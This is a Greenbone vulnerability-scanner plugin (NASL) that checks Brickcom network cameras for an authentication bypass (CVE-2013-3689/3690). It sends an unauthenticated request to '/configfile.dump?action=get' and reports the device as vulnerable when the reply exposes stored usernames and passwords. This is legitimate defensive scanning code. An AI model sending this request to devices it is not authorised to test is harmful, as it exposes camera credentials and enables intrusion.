Multiple Brickcom Devices Authentication Bypass Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE_PREFIX = "cpe:/h:brickcom";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103738");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-3689", "CVE-2013-3690");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-06-12 13:41:30 +0200 (Wed, 12 Jun 2013)");
  script_name("Multiple Brickcom Devices Authentication Bypass Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/53767");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/60525");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/60526");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/84924");
  script_xref(name:"URL", value:"http://cxsecurity.com/issue/WLB-2013060108");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122003");
  script_xref(name:"URL", value:"http://www.securelist.com/en/advisories/53767");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2013/Jun/84");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/secunia/current/0109.html");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Privilege escalation");
  script_dependencies("gb_brickcom_network_camera_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("brickcom/network_camera/detected");

  script_tag(name:"summary", value:"The remote host is a Brickcom device and it is prone to an
  authentication bypass vulnerability.");

  script_tag(name:"impact", value:"By requesting the URL '/configfile.dump' via parameter 'action' and value 'get' it was possible to dump the config
  (including username and password) of this device.");

  script_tag(name:"solution", value:"Apply the latest available patch.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if(!infos = get_app_port_from_cpe_prefix(cpe:CPE_PREFIX, service:"www"))
  exit(0);

port = infos["port"];
CPE  = infos["cpe"];

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

url = "/configfile.dump?action=get";
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

if("UserSetSetting.userList.users0.password" >< buf && "UserSetSetting.userList.users0.username" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);